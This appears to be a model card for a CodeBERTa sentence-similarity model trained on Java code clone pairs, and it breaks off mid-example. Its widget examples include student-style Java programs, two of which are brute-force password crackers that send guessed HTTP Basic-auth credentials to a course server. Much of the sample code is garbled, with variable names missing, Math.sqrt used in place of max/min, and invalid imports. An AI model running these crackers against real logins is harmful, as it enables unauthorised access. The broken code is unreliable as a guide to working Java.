buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST
024
1---2tags:3- sentence-transformers4- sentence-similarity5- feature-extraction6- generated_from_trainer7- dataset_size:300698- loss:SoftmaxLoss9base_model: huggingface/CodeBERTa-small-v110widget:11- source_sentence: "\nimport java.io.*;\nimport java.util.Vector;\nimport java.util.Date;\n\12 \n\ninterface UnaryPredicate {\n boolean execute(Object obj);\n}\n\n\npublic\13 \ class DiffPrint {\n \n static String outFile=\"\";\n\n public static abstract\14 \ class Base {\n protected Base(Object[] a,Object[] b) {\n\ttry\n\t{\n \15 \ outfile = new PrintWriter(new FileWriter(outFile));\t\t\n\t}\n\tcatch (Exception\16 \ e)\n\t{\n\t\te.printStackTrace();\n\t}\n file0 = a;\n file1 = b;\n\17 \ }\n \n protected UnaryPredicate ignore = null;\n\n \n protected\18 \ Object[] file0, file1;\n\n \n public void print_script(Diff.change script)\19 \ {\n Diff.change next = script;\n\n while (next != null)\n {\n\20 \ Diff.change t, end;\n\n \n t = next;\n end\21 \ = hunkfun(next);\n\n \n next = end;\n end = null;\n\22 \ \n \n\n \n print_hunk(t);\n\n \n\23 \ end = next;\n }\n outfile.flush();\n }\n\n \n\n\24 \ protected Diff.change hunkfun(Diff.change hunk) {\n return hunk;\n \25 \ }\n\n protected int first0, last0, first1, last1, deletes, inserts;\n \26 \ protected PrintWriter outfile;\n\n \n\n protected void analyze_hunk(Diff.change\27 \ hunk) {\n int f0, l0 = 0, f1, l1 = 0, show_from = 0, show_to = 0;\n \28 \ int i;\n Diff.change next;\n boolean nontrivial = (ignore == null);\n\29 \n show_from = show_to = 0;\n\n f0 = hunk.line0;\n f1 = hunk.line1;\n\30 \n for (next = hunk; next != null; next = next.next())\n {\n \31 \ l0 = next.line0 + next.deleted - 1;\n l1 = next.line1 + next.inserted\32 \ - 1;\n show_from += next.deleted;\n show_to += next.inserted;\n\33 \ for (i = next.line0; i <= l0 && ! nontrivial; i++)\n if\34 \ (!ignore.execute(file0[i]))\n nontrivial = true;\n for\35 \ (i = next.line1; i <= l1 && ! nontrivial; i++)\n if (!ignore.execute(file1[i]))\n\36 \ nontrivial = true;\n }\n\n first0 = f0;\n last0\37 \ = l0;\n first1 = f1;\n last1 = l1;\n\n \n\n if (!nontrivial)\n\38 \ show_from = show_to = 0;\n\n deletes = show_from;\n inserts\39 \ = show_to;\n }\n\n \n protected void print_header(String filea, String\40 \ fileb) { }\n\n protected abstract void print_hunk(Diff.change hunk);\n \41 \ \n protected void print_1_line(String pre,Object linbuf) {\n outfile.println(pre\42 \ + linbuf.toString());\n }\n\n \n\n protected void print_number_range\43 \ (char sepchar, int a, int b) {\n \n if (++b > ++a)\n outfile.print(\"\44 \" + a + sepchar + b);\n else\n outfile.print(b);\n }\n\n public\45 \ static char change_letter(int inserts, int deletes) {\n if (inserts ==\46 \ 0)\n return 'd';\n else if (deletes == 0)\n return 'a';\n\47 \ else\n return 'c';\n }\n }\n\n \n public static class NormalPrint\48 \ extends Base {\n\n public NormalPrint(Object[] a,Object[] b) {\n super(a,b);\n\49 \ }\n\n \n\n protected void print_hunk (Diff.change hunk) {\n\n \50 \ \n analyze_hunk(hunk);\n if (deletes == 0 && inserts == 0)\n \51 \ return;\n\n \n print_number_range (',', first0, last0);\n outfile.print(change_letter(inserts,\52 \ deletes));\n print_number_range (',', first1, last1);\n outfile.println();\n\53 \n \n if (deletes != 0)\n for (int i = first0; i <= last0; i++)\n\54 \ print_1_line (\"< \", file0[i]);\n\n if (inserts != 0 && deletes\55 \ != 0)\n outfile.println(\"---\");\n\n \n if (inserts != 0)\n\56 \ for (int i = first1; i <= last1; i++)\n print_1_line (\"> \"\57 , file1[i]);\n }\n }\n\n \n public static class EdPrint extends Base {\n\58 \n public EdPrint(Object[] a,Object[] b) {\n super(a,b);\n }\n\n \59 \ \n protected void print_hunk(Diff.change hunk) {\n\n \n analyze_hunk\60 \ (hunk);\n if (deletes == 0 && inserts == 0)\n return;\n\n \n\61 \ print_number_range (',', first0, last0);\n outfile.println(change_letter(inserts,\62 \ deletes));\n\n \n if (inserts != 0)\n {\n boolean\63 \ inserting = true;\n for (int i = first1; i <= last1; i++)\n \64 \ {\n \n if (! inserting)\n outfile.println(i\65 \ - first1 + first0 + \"a\");\n inserting = true;\n\n \66 \ \n\n if (\".\".equals(file1[i]))\n {\n \67 \ outfile.println(\"..\");\n outfile.println(\".\"\68 );\n \n outfile.println(i - first1 + first0\69 \ + 1 + \"s/^\\\\.\\\\././\");\n inserting = false;\n \70 \ }\n else\n \n print_1_line\71 \ (\"\", file1[i]);\n }\n\n \n if (inserting)\n \72 \ outfile.println(\".\");\n }\n }\n }\n\n \n public static\73 \ class ContextPrint extends Base {\n\n protected int context = 3;\n\n public\74 \ ContextPrint(Object[] a,Object[] b) {\n super(a,b);\n }\n\n protected\75 \ void print_context_label (String cad, File inf, String label) {\n if (label\76 \ != null)\n outfile.println(cad + ' ' + label);\n else if (inf.lastModified()\77 \ > 0)\n \n outfile.println(\n cad + ' ' + inf.getPath()\78 \ + '\\t' + new Date(inf.lastModified())\n );\n else\n \n \79 \ outfile.println( cad + ' ' + inf.getPath());\n }\n\n public void\80 \ print_header(String filea,String fileb) {\n print_context_label (\"***\"\81 , new File(filea), filea);\n print_context_label (\"---\", new File(fileb),\82 \ fileb);\n }\n\n \n private String find_function(Object[] lines, int\83 \ x) {\n return null;\n }\n\n protected void print_function(Object[]\84 \ file,int x) {\n String function = find_function (file0, first0);\n \85 \ if (function != null) {\n outfile.print(\" \");\n outfile.print(\n\86 \ (function.length() < 40) ? function : function.substring(0,40)\n \87 \ );\n }\n }\n\n protected void print_hunk(Diff.change hunk) {\n\88 \n \n\n analyze_hunk (hunk);\n\n if (deletes == 0 && inserts ==\89 \ 0)\n return;\n\n \n\n first0 = Math.sqrt(first0 - context,\90 \ 0);\n first1 = Math.sqrt(first1 - context, 0);\n last0 = Math.sqrt(last0\91 \ + context, file0.length - 1);\n last1 = Math.sqrt(last1 + context, file1.length\92 \ - 1);\n\n\n outfile.print(\"***************\");\n\n \n print_function\93 \ (file0, first0);\n\n outfile.println();\n outfile.print(\"*** \");\n\94 \ print_number_range (',', first0, last0);\n outfile.println(\" ****\"\95 );\n\n if (deletes != 0) {\n Diff.change next = hunk;\n\n for\96 \ (int i = first0; i <= last0; i++) {\n \n\n while (next !=\97 \ null && next.line0 + next.deleted <= i)\n next = next.next;\n\n \98 \ \n\n String prefix = \" \";\n if (next != null &&\99 \ next.line0 <= i)\n \n prefix = (next.inserted > 0) ? \"\100 !\" : \"-\";\n\n print_1_line (prefix, file0[i]);\n }\n }\n\101 \n outfile.print(\"--- \");\n print_number_range (',', first1, last1);\n\102 \ outfile.println(\" ----\");\n\n if (inserts != 0) {\n Diff.change\103 \ next = hunk;\n\n for (int i = first1; i <= last1; i++) {\n \n\104 \n while (next != null && next.line1 + next.inserted <= i)\n \105 \ next = next.next;\n\n \n\n String prefix = \" \";\n \106 \ if (next != null && next.line1 <= i)\n \n prefix\107 \ = (next.deleted > 0) ? \"!\" : \"+\";\n\n print_1_line (prefix, file1[i]);\n\108 \ }\n }\n }\n }\n\n \n public static class UnifiedPrint extends\109 \ ContextPrint {\n\n public UnifiedPrint(Object[] a,Object[] b) {\n super(a,b);\n\110 \ }\n\n public void print_header(String filea,String fileb) {\n print_context_label\111 \ (\"---\", new File(filea), filea);\n print_context_label (\"+++\", new\112 \ File(fileb), fileb);\n }\n\n private void print_number_range (int a, int\113 \ b) {\n \n\n \n if (b < a)\n outfile.print(b + \",0\");\n\114 \ else\n super.print_number_range(',',a,b);\n }\n\n protected\115 \ void print_hunk(Diff.change hunk) {\n \n analyze_hunk (hunk);\n\n\116 \ if (deletes == 0 && inserts == 0)\n return;\n\n \n\n first0\117 \ = Math.sqrt(first0 - context, 0);\n first1 = Math.sqrt(first1 - context,\118 \ 0);\n last0 = Math.sqrt(last0 + context, file0.length - 1);\n last1\119 \ = Math.sqrt(last1 + context, file1.length - 1);\n\n\n\n outfile.print(\"\120 @@ -\");\n print_number_range (first0, last0);\n outfile.print(\" +\"\121 );\n print_number_range (first1, last1);\n outfile.print(\" @@\");\n\122 \n \n print_function(file0,first0);\n\n outfile.println();\n\n\123 \ Diff.change next = hunk;\n int i = first0;\n int j = first1;\n\124 \n while (i <= last0 || j <= last1) {\n\n \n\n if (next ==\125 \ null || i < next.line0) {\n outfile.print(' ');\n print_1_line(\"\126 \", file0[i++]);\n j++;\n }\n else {\n \n\n \127 \ int k = next.deleted;\n while (k-- > 0) {\n outfile.print('-');\n\128 \ print_1_line(\"\", file0[i++]);\n }\n\n \n\n \129 \ k = next.inserted;\n while (k-- > 0) {\n outfile.print('+');\n\130 \ print_1_line(\"\", file1[j++]);\n }\n\n \n\n \131 \ next = next.next;\n }\n }\n }\n }\n\n\n \n static String[]\132 \ slurp(String file) throws IOException {\n BufferedReader rdr = new BufferedReader(new\133 \ FileReader(file));\n Vector s = new Vector();\n for (;;) {\n String\134 \ line = rdr.readLine();\n if (line == null) break;\n s.addElement(line);\n\135 \ }\n String[] a = new String[s.size()];\n s.copyInto(a);\n return\136 \ a;\n }\n\n\n public static String getDiff(String filea,String fileb,String\137 \ filec) throws IOException {\n\tDiffPrint.outFile=filec;\n\tString msg=\"\";\n\138 \tString[] a = slurp(filea);\n String[] b = slurp(fileb);\n\tString [] argv={filea,fileb};\n\139 \ Diff d = new Diff(a,b);\n char style = 'n';\n for (int i = 0; i < argv.length\140 \ - 2; ++i) {\n String f = argv[i];\n if (f.startsWith(\"-\")) {\n \141 \ for (int j = 1; j < f.length(); ++j) {\n switch (f.charAt(j))\142 \ {\n case 'e': \n style = 'e'; break;\n case\143 \ 'c': \n style = 'c'; break;\n case 'u':\n \144 \ style = 'u'; break;\n }\n }\n }\n }\n boolean reverse\145 \ = style == 'e';\n Diff.change script = d.diff_2(reverse);\n if (script\146 \ == null)\n msg=\"The text the has not changed.\\n\";\n else {\n \147 \ Base p;\n msg=\"The text the has changed.\\n The Diff Output is : \\\148 n\\n\";\n switch (style) {\n case 'e':\n p = new EdPrint(a,b);\149 \ break;\n case'c':\n p = new ContextPrint(a,b); break;\n case\150 \ 'u':\n p = new UnifiedPrint(a,b); break;\n default:\n p =\151 \ new NormalPrint(a,b);\n }\n p.print_header(filea,fileb);\n p.print_script(script);\n\152 \ }\n\treturn msg;\n }\n}\n"153 sentences:154 - "import java.net.*;\nimport java.io.*;\n\n\npublic class EmailClient\n{\n\tprivate\155 \ String sender, recipient, hostName;\n\n\tpublic EmailClient(String nSender,\156 \ String nRecipient, String nHost)\n\t{\n\t\tsender = nSender;\n\t\trecipient\157 \ = nRecipient;\n\t\thostName = nHost;\n\t}\n\n\tpublic void sendMail(String subject,\158 \ String message)\n\t{\n\t\ttry\n\t\t{\n\t\t\tSocket s1=null;\n\t\t\tInputStream\t\159 is = null;\n\t\t\tOutputStream os = null;\n\n\t\t\tDataOutputStream = null;\n\160 \n\t\t\ts1 = new Socket(hostName,25);\n\t\t\tis = s1.getInputStream();\n\t\t\t\161 os = s1.getOutputStream();\n\n\t\t\tbd = new DataOutputStream(os);\n\n\t\t\tBufferedReader\162 \ response = new BufferedReader(new InputStreamReader(is));\n\n\t\t\tbd.writeBytes(\"\163 HELO \"+ InetAddress.getLocalHost().getHostName() + \"\\r\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\164 \n\t\t\tbd.writeBytes(\"MAIL FROM:\"+sender+\"\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\165 \n\t\t\tbd.writeBytes(\"RCPT :\"+recipient+\"\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\166 \n\t\t\tbd.writeBytes(\"data\"+\"\\n\");\n\n\t\t\tbd.writeBytes(\"Subject:\"+subject+\"\167 \\n\");\n\n\t\t\tbd.writeBytes(message+\"\\n.\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\168 \t\t}\n\n\t\tcatch (UnknownHostException badUrl)\n\t\t{\n\t\t\tSystem.out.println(\"\169 Host unknown.\");\n\t\t}\n\n\t\tcatch (EOFException eof)\n\t\t{\n\t\t\tSystem.out.println(\"\170 <EOF>\");\n\t\t}\n\t\tcatch (Exception e)\n\t\t{\n\t\t\tSystem.out.println(\"\171 got exception: \"+e);\n\t\t}\n\t}\n\n\tprivate static void\twaitForSuccessResponse(BufferedReader\172 \ response) throws IOException\n\t{\n\t\tString rsp;\n\t\tboolean r250 = false;\n\173 \n\t\twhile( ! r250 )\n\t\t{\n\t\t\trsp = response.readLine().trim();\n\n\t\t\t\174 if(rsp.startsWith(\"250\"))\n\t\t\t\tr250 = true;\n\t\t}\n\n\t}\n}"175 - "import java.net.*;\nimport java.util.*;\n\npublic class BruteForce {\n\n public\176 \ static void main(String[] args) {\n new CrackAttempt();\n }\n}\n\nclass\177 \ CrackAttempt {\n public CrackAttempt() {\n final int MAX_LENGTH = 3;\n\178 \ boolean auth = false;\n Date = new Date();\n boolean morePasswords\179 \ = true;\n int passPtr = 0;\n StringBuffer validChars = new StringBuffer(\"\180 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n char[] password\181 \ = new char[MAX_LENGTH];\n\n password[0] = validChars.charAt(0);\n \182 \ while (!auth && morePasswords) {\n String resource = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\183 ;\n try {\n \n Authenticator.setDefault(new CrackAuth(password));\n\184 \ URL url = new URL(resource);\n HttpURLConnection conn\185 \ = (HttpURLConnection)url.openConnection();\n conn.setRequestMethod(\"\186 HEAD\");\n if (conn.getResponseCode() == HttpURLConnection.HTTP_OK)\187 \ {\n System.out.println(\"cracked with \" + new String(password));\n\188 \ auth = true;\n }\n } catch (Exception e) {\n\189 \ System.out.println(\" was exception: \" + e.getMessage());\n \190 \ }\n int count = passPtr;\n while (true) {\n \191 \ if (password[count] == validChars.charAt(validChars.length() - 1)) {\n \192 \ password[count] = validChars.charAt(0);\n count--;\n\193 \ } else {\n password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count]))\194 \ + 1);\n break;\n }\n if (count < 0) {\n\195 \ \n if (passPtr < MAX_LENGTH - 1) {\n \196 \ passPtr++;\n password[passPtr] = validChars.charAt(0);\n\197 \ } else {\n morePasswords = false;\n \198 \ }\n break;\n }\n }\n \n }\199 \ \n if (!auth) {\n System.out.println(\"Unable determine password\"\200 );\n } else {\n time = (new Date()).getTime() - start.getTime();\n\201 \ System.out.println(\"it took \" + String.valueOf(time) + \" milliseconds\202 \ crack the password\");\n }\n }\n}\n\nclass CrackAuth extends Authenticator\203 \ {\n char[] password;\n public CrackAuth(char[] password) {\n this.password\204 \ = password;\n }\n\n protected PasswordAuthentication getPasswordAuthentication()\n\205 \ {\n String user = \"\";\n return new PasswordAuthentication(user,\206 \ password);\n }\n}\n"207 - "import java.util.*;\nimport java.io.*;\n\n\n\npublic class WatchDog {\n\n public\208 \ WatchDog() {\n\n }\n public static void main(String args[]) {\n DataInputStream\209 \ newin;\n\n try{\n\n\n System.out.println(\"Downloading first copy\"\210 );\n Runtime.getRuntime().exec(\"wget http://www.cs.rmit.edu./students/ -O\211 \ oldfile.html\");\n String[] cmdDiff = {\"//sh\", \"-c\", \"diff oldfile.html\212 \ newfile.html > Diff.txt\"};\n String[] cmdMail = {\"//sh\", \"-c\", \"\213 mailx -s \\\"Diffrence\\\" \\\"@cs.rmit.edu.\\\" < Diff.txt\"};\n while(true){\n\214 \ Thread.sleep(24*60*60*1000);\n System.out.println(\"Downloading\215 \ new copy\");\n Runtime.getRuntime().exec(\"wget http://www.cs.rmit.edu./students/\216 \ -O newfile.html\");\n Thread.sleep(2000);\n Runtime.getRuntime().exec(cmdDiff);\n\217 \ Thread.sleep(2000);\n newin = new DataInputStream( new\218 \ FileInputStream( \"Diff.txt\"));\n if (newin.readLine() != null){\n\219 \ System.out.println(\"Sending Mail\");\n Runtime.getRuntime().exec(cmdMail);\n\220 \ Runtime.getRuntime().exec(\"cp newfile.html oldfile.html\");\n\221 \n }\n }\n\n }\n catch(Exception e){\n e.printStackTrace();\n\222 \ }\n\n }\n\n}"223- source_sentence: "\nimport java.io.*;\nimport java.util.Vector;\nimport java.util.Date;\n\224 \n\ninterface UnaryPredicate {\n boolean execute(Object obj);\n}\n\n\npublic\225 \ class DiffPrint {\n \n static String outFile=\"\";\n\n public static abstract\226 \ class Base {\n protected Base(Object[] a,Object[] b) {\n\ttry\n\t{\n \227 \ outfile = new PrintWriter(new FileWriter(outFile));\t\t\n\t}\n\tcatch (Exception\228 \ e)\n\t{\n\t\te.printStackTrace();\n\t}\n file0 = a;\n file1 = b;\n\229 \ }\n \n protected UnaryPredicate ignore = null;\n\n \n protected\230 \ Object[] file0, file1;\n\n \n public void print_script(Diff.change script)\231 \ {\n Diff.change next = script;\n\n while (next != null)\n {\n\232 \ Diff.change t, end;\n\n \n t = next;\n end\233 \ = hunkfun(next);\n\n \n next = end;\n end = null;\n\234 \ \n \n\n \n print_hunk(t);\n\n \n\235 \ end = next;\n }\n outfile.flush();\n }\n\n \n\n\236 \ protected Diff.change hunkfun(Diff.change hunk) {\n return hunk;\n \237 \ }\n\n protected int first0, last0, first1, last1, deletes, inserts;\n \238 \ protected PrintWriter outfile;\n\n \n\n protected void analyze_hunk(Diff.change\239 \ hunk) {\n int f0, l0 = 0, f1, l1 = 0, show_from = 0, show_to = 0;\n \240 \ int i;\n Diff.change next;\n boolean nontrivial = (ignore == null);\n\241 \n show_from = show_to = 0;\n\n f0 = hunk.line0;\n f1 = hunk.line1;\n\242 \n for (next = hunk; next != null; next = next.next())\n {\n \243 \ l0 = next.line0 + next.deleted - 1;\n l1 = next.line1 + next.inserted\244 \ - 1;\n show_from += next.deleted;\n show_to += next.inserted;\n\245 \ for (i = next.line0; i <= l0 && ! nontrivial; i++)\n if\246 \ (!ignore.execute(file0[i]))\n nontrivial = true;\n for\247 \ (i = next.line1; i <= l1 && ! nontrivial; i++)\n if (!ignore.execute(file1[i]))\n\248 \ nontrivial = true;\n }\n\n first0 = f0;\n last0\249 \ = l0;\n first1 = f1;\n last1 = l1;\n\n \n\n if (!nontrivial)\n\250 \ show_from = show_to = 0;\n\n deletes = show_from;\n inserts\251 \ = show_to;\n }\n\n \n protected void print_header(String filea, String\252 \ fileb) { }\n\n protected abstract void print_hunk(Diff.change hunk);\n \253 \ \n protected void print_1_line(String pre,Object linbuf) {\n outfile.println(pre\254 \ + linbuf.toString());\n }\n\n \n\n protected void print_number_range\255 \ (char sepchar, int a, int b) {\n \n if (++b > ++a)\n outfile.print(\"\256 \" + a + sepchar + b);\n else\n outfile.print(b);\n }\n\n public\257 \ static char change_letter(int inserts, int deletes) {\n if (inserts ==\258 \ 0)\n return 'd';\n else if (deletes == 0)\n return 'a';\n\259 \ else\n return 'c';\n }\n }\n\n \n public static class NormalPrint\260 \ extends Base {\n\n public NormalPrint(Object[] a,Object[] b) {\n super(a,b);\n\261 \ }\n\n \n\n protected void print_hunk (Diff.change hunk) {\n\n \262 \ \n analyze_hunk(hunk);\n if (deletes == 0 && inserts == 0)\n \263 \ return;\n\n \n print_number_range (',', first0, last0);\n outfile.print(change_letter(inserts,\264 \ deletes));\n print_number_range (',', first1, last1);\n outfile.println();\n\265 \n \n if (deletes != 0)\n for (int i = first0; i <= last0; i++)\n\266 \ print_1_line (\"< \", file0[i]);\n\n if (inserts != 0 && deletes\267 \ != 0)\n outfile.println(\"---\");\n\n \n if (inserts != 0)\n\268 \ for (int i = first1; i <= last1; i++)\n print_1_line (\"> \"\269 , file1[i]);\n }\n }\n\n \n public static class EdPrint extends Base {\n\270 \n public EdPrint(Object[] a,Object[] b) {\n super(a,b);\n }\n\n \271 \ \n protected void print_hunk(Diff.change hunk) {\n\n \n analyze_hunk\272 \ (hunk);\n if (deletes == 0 && inserts == 0)\n return;\n\n \n\273 \ print_number_range (',', first0, last0);\n outfile.println(change_letter(inserts,\274 \ deletes));\n\n \n if (inserts != 0)\n {\n boolean\275 \ inserting = true;\n for (int i = first1; i <= last1; i++)\n \276 \ {\n \n if (! inserting)\n outfile.println(i\277 \ - first1 + first0 + \"a\");\n inserting = true;\n\n \278 \ \n\n if (\".\".equals(file1[i]))\n {\n \279 \ outfile.println(\"..\");\n outfile.println(\".\"\280 );\n \n outfile.println(i - first1 + first0\281 \ + 1 + \"s/^\\\\.\\\\././\");\n inserting = false;\n \282 \ }\n else\n \n print_1_line\283 \ (\"\", file1[i]);\n }\n\n \n if (inserting)\n \284 \ outfile.println(\".\");\n }\n }\n }\n\n \n public static\285 \ class ContextPrint extends Base {\n\n protected int context = 3;\n\n public\286 \ ContextPrint(Object[] a,Object[] b) {\n super(a,b);\n }\n\n protected\287 \ void print_context_label (String cad, File inf, String label) {\n if (label\288 \ != null)\n outfile.println(cad + ' ' + label);\n else if (inf.lastModified()\289 \ > 0)\n \n outfile.println(\n cad + ' ' + inf.getPath()\290 \ + '\\t' + new Date(inf.lastModified())\n );\n else\n \n \291 \ outfile.println( cad + ' ' + inf.getPath());\n }\n\n public void\292 \ print_header(String filea,String fileb) {\n print_context_label (\"***\"\293 , new File(filea), filea);\n print_context_label (\"---\", new File(fileb),\294 \ fileb);\n }\n\n \n private String find_function(Object[] lines, int\295 \ x) {\n return null;\n }\n\n protected void print_function(Object[]\296 \ file,int x) {\n String function = find_function (file0, first0);\n \297 \ if (function != null) {\n outfile.print(\" \");\n outfile.print(\n\298 \ (function.length() < 40) ? function : function.substring(0,40)\n \299 \ );\n }\n }\n\n protected void print_hunk(Diff.change hunk) {\n\300 \n \n\n analyze_hunk (hunk);\n\n if (deletes == 0 && inserts ==\301 \ 0)\n return;\n\n \n\n first0 = Math.sqrt(first0 - context,\302 \ 0);\n first1 = Math.sqrt(first1 - context, 0);\n last0 = Math.sqrt(last0\303 \ + context, file0.length - 1);\n last1 = Math.sqrt(last1 + context, file1.length\304 \ - 1);\n\n\n outfile.print(\"***************\");\n\n \n print_function\305 \ (file0, first0);\n\n outfile.println();\n outfile.print(\"*** \");\n\306 \ print_number_range (',', first0, last0);\n outfile.println(\" ****\"\307 );\n\n if (deletes != 0) {\n Diff.change next = hunk;\n\n for\308 \ (int i = first0; i <= last0; i++) {\n \n\n while (next !=\309 \ null && next.line0 + next.deleted <= i)\n next = next.next;\n\n \310 \ \n\n String prefix = \" \";\n if (next != null &&\311 \ next.line0 <= i)\n \n prefix = (next.inserted > 0) ? \"\312 !\" : \"-\";\n\n print_1_line (prefix, file0[i]);\n }\n }\n\313 \n outfile.print(\"--- \");\n print_number_range (',', first1, last1);\n\314 \ outfile.println(\" ----\");\n\n if (inserts != 0) {\n Diff.change\315 \ next = hunk;\n\n for (int i = first1; i <= last1; i++) {\n \n\316 \n while (next != null && next.line1 + next.inserted <= i)\n \317 \ next = next.next;\n\n \n\n String prefix = \" \";\n \318 \ if (next != null && next.line1 <= i)\n \n prefix\319 \ = (next.deleted > 0) ? \"!\" : \"+\";\n\n print_1_line (prefix, file1[i]);\n\320 \ }\n }\n }\n }\n\n \n public static class UnifiedPrint extends\321 \ ContextPrint {\n\n public UnifiedPrint(Object[] a,Object[] b) {\n super(a,b);\n\322 \ }\n\n public void print_header(String filea,String fileb) {\n print_context_label\323 \ (\"---\", new File(filea), filea);\n print_context_label (\"+++\", new\324 \ File(fileb), fileb);\n }\n\n private void print_number_range (int a, int\325 \ b) {\n \n\n \n if (b < a)\n outfile.print(b + \",0\");\n\326 \ else\n super.print_number_range(',',a,b);\n }\n\n protected\327 \ void print_hunk(Diff.change hunk) {\n \n analyze_hunk (hunk);\n\n\328 \ if (deletes == 0 && inserts == 0)\n return;\n\n \n\n first0\329 \ = Math.sqrt(first0 - context, 0);\n first1 = Math.sqrt(first1 - context,\330 \ 0);\n last0 = Math.sqrt(last0 + context, file0.length - 1);\n last1\331 \ = Math.sqrt(last1 + context, file1.length - 1);\n\n\n\n outfile.print(\"\332 @@ -\");\n print_number_range (first0, last0);\n outfile.print(\" +\"\333 );\n print_number_range (first1, last1);\n outfile.print(\" @@\");\n\334 \n \n print_function(file0,first0);\n\n outfile.println();\n\n\335 \ Diff.change next = hunk;\n int i = first0;\n int j = first1;\n\336 \n while (i <= last0 || j <= last1) {\n\n \n\n if (next ==\337 \ null || i < next.line0) {\n outfile.print(' ');\n print_1_line(\"\338 \", file0[i++]);\n j++;\n }\n else {\n \n\n \339 \ int k = next.deleted;\n while (k-- > 0) {\n outfile.print('-');\n\340 \ print_1_line(\"\", file0[i++]);\n }\n\n \n\n \341 \ k = next.inserted;\n while (k-- > 0) {\n outfile.print('+');\n\342 \ print_1_line(\"\", file1[j++]);\n }\n\n \n\n \343 \ next = next.next;\n }\n }\n }\n }\n\n\n \n static String[]\344 \ slurp(String file) throws IOException {\n BufferedReader rdr = new BufferedReader(new\345 \ FileReader(file));\n Vector s = new Vector();\n for (;;) {\n String\346 \ line = rdr.readLine();\n if (line == null) break;\n s.addElement(line);\n\347 \ }\n String[] a = new String[s.size()];\n s.copyInto(a);\n return\348 \ a;\n }\n\n\n public static String getDiff(String filea,String fileb,String\349 \ filec) throws IOException {\n\tDiffPrint.outFile=filec;\n\tString msg=\"\";\n\350 \tString[] a = slurp(filea);\n String[] b = slurp(fileb);\n\tString [] argv={filea,fileb};\n\351 \ Diff d = new Diff(a,b);\n char style = 'n';\n for (int i = 0; i < argv.length\352 \ - 2; ++i) {\n String f = argv[i];\n if (f.startsWith(\"-\")) {\n \353 \ for (int j = 1; j < f.length(); ++j) {\n switch (f.charAt(j))\354 \ {\n case 'e': \n style = 'e'; break;\n case\355 \ 'c': \n style = 'c'; break;\n case 'u':\n \356 \ style = 'u'; break;\n }\n }\n }\n }\n boolean reverse\357 \ = style == 'e';\n Diff.change script = d.diff_2(reverse);\n if (script\358 \ == null)\n msg=\"The text the has not changed.\\n\";\n else {\n \359 \ Base p;\n msg=\"The text the has changed.\\n The Diff Output is : \\\360 n\\n\";\n switch (style) {\n case 'e':\n p = new EdPrint(a,b);\361 \ break;\n case'c':\n p = new ContextPrint(a,b); break;\n case\362 \ 'u':\n p = new UnifiedPrint(a,b); break;\n default:\n p =\363 \ new NormalPrint(a,b);\n }\n p.print_header(filea,fileb);\n p.print_script(script);\n\364 \ }\n\treturn msg;\n }\n}\n"365 sentences:366 - "\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport\367 \ java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce\368 \ {\n \n static char [] passwordDataSet = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\"\369 .toCharArray();\n \n private int indices[] = {0,0,0};\n \n private String\370 \ url = null;\n\n \n public BruteForce(String url) {\n this.url = url;\n\n\371 \ }\n \n private int attempts = 0;\n private boolean stopGen = false;\n \n\372 \ public String getNextPassword(){\n String nextPassword = \"\";\n for(int\373 \ i = 0; i <indices.length ; i++){\n if(indices[indices.length -1 ] == passwordDataSet.length)\n\374 \ return null;\n if(indices[i] == passwordDataSet.length ){\n \375 \ indices[i] = 0;\n indices[i+1]++;\n }\n nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\376 \n if(i == 0)\n indices[0]++;\n\n }\n return nextPassword;\n\377 \ }\n \n public void setIndices(int size){\n this.indices = new int[size];\n\378 \ for(int i = 0; i < size; i++)\n this.indices[i] = 0;\n }\n public\379 \ void setPasswordDataSet(String newDataSet){\n this.passwordDataSet = newDataSet.toCharArray();\n\380 \ }\n \n public String crackPassword(String user) throws IOException, MalformedURLException{\n\381 \ URL url = null;\n URLConnection urlConnection = null;\n String outcome\382 \ = null;\n String authorization = null;\n String password = null;\n \383 \ BASE64Encoder b64enc = new BASE64Encoder();\n InputStream content = null;\n\384 \ BufferedReader in = null;\n String line;\n int i = 0;\n while(!\"\385 HTTP/1.1 200 OK\".equalsIgnoreCase(outcome)){\n url = new URL(this.url);\n\386 \ urlConnection = url.openConnection();\n urlConnection.setDoInput(true);\n\387 \ urlConnection.setDoOutput(true);\n\n\n urlConnection.setRequestProperty(\"\388 GET\", url.getPath() + \" HTTP/1.1\");\n urlConnection.setRequestProperty(\"\389 Host\", url.getHost());\n password = getNextPassword();\n if(password\390 \ == null)\n return null;\n System.out.print(password);\n authorization\391 \ = user + \":\" + password;\n\n\n urlConnection.setRequestProperty(\"Authorization\"\392 , \" \"+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null);\393 \ \n\n\n\n this.attempts ++;\n urlConnection = null;\n url = null;\n\394 \n if(this.attempts%51 == 0)\n for(int b = 0; b < 53;b++)\n \395 \ System.out.print(\"\\b \\b\");\n else\n System.out.print(\"\\\396 b\\b\\b.\");\n\n }\n return password;\n }\n \n public int getAttempts(){\n\397 \ return this.attempts;\n }\n public static void main (String[] args) {\n\398 \ if(args.length != 2){\n System.out.println(\"usage: java attacks.BruteForce\399 \ <url crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >\"\400 );\n System.exit(1);\n }\n\n BruteForce bruteForce1 = new BruteForce(args[0]);\n\401 \ try{\n Calendar cal1=null, cal2=null;\n cal1 = Calendar.getInstance();\n\402 \ System.out.println(\"Cracking started at: \" + cal1.getTime().toString());\n\403 \ String password = bruteForce1.crackPassword(args[1]);\n if(password\404 \ != null)\n System.out.println(\"\\nPassword is: \"+password);\n \405 \ else\n System.out.println(\"\\nPassword could not retrieved!\");\n \406 \ cal2 = Calendar.getInstance();\n System.out.println(\"Cracking finished\407 \ at: \" + cal2.getTime().toString());\n Date d3 = new Date(cal2.getTime().getTime()\408 \ - cal1.getTime().getTime());\n System.out.println(\"Total Time taken crack:\409 \ \" + 